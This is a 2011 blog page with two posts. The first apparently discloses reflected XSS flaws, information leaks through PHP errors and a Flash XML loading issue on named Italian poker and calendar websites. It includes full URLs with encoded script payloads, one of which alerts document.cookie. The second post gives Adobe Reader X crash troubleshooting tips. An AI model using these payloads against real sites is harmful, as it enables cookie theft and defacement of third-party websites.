Friday, 26 August 2011

Microgame casino people's tv calendario - info disclosure, XSS, flashvars xss

XSS (this one will also work after that the victim clicks on any link of the page)
http://casino.peoples.it/?homeRealm=http://www.kpoker.it/&s=%22%3E%3Cvideo%20src=1%20onerror=alert%28String.fromCharCode%28112,97,115,115,101,100%29%29%20%3Ehttp://www.kpoker.it/

-----

http://www.tv.peoples.it/wp-content/themes/on-demand/

Fatal error: Call to undefined function get_header() in /var/www/vhosts/peoplespoker.tv/httpdocs/wp-content/themes/on-demand/index.php on line 1

----
free info

http://calendario.peoples.it/lepokerine/common/video_gallery.php?id=1

Notice: Use of undefined constant id - assumed 'id' in /var/www/vhosts/www.calendario.peoples.it/httpdocs/lepokerine/common/video_gallery.php on line 2

http://calendario.peoples.it/lepokerine/common/photo_gallery.php?id=1
Notice: Use of undefined constant id - assumed 'id' in /var/www/vhosts/www.calendario.peoples.it/httpdocs/lepokerine/common/photo_gallery.php on line 2


----


XSS

http://calendario.peoples.it/lepokerine/common/video_gallery.php?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E%3C%22


can be included another xml from the Flash video and we can load any other (porn?) movie

http://calendario.peoples.it/lepokerine/common/video_gallery_cont.php?id=&xmlfiletype=Default

Thursday, 18 August 2011

Adobe reader X (10) crash. Adobe reader suddenly closes itself.

Adobe reder X (10) crash.
When adobe reader 10 suddenly closes itself try these solutions:

- run adobe reader 10 without calling any kind of documents (ex. c:\program files\Adobe\Reader 10.0\Reader\AcroRd32.exe
- Set the AcroRd32.exe to run in compatibility mode (windows 2000)

The eula should appear and click on yes/accept.

The problem appears expecially if you are updating (same m. version) or after installing over a different version. In some cases the problem have appeared after disabling/enabling the plugin in firefox ... but it could be a coincidence.

An easy solution for a boring problem with the damn Adobe Acrobat Reader X.
I personally prefer to use Sumatra (an alternative pdf reader) but sometimes it lacks of the new functionalities of the Adobe Acrobat Reader and the pages cannot be viewed correctly (ex. in pre-compiled forms the previously inputted content cannot be displayed).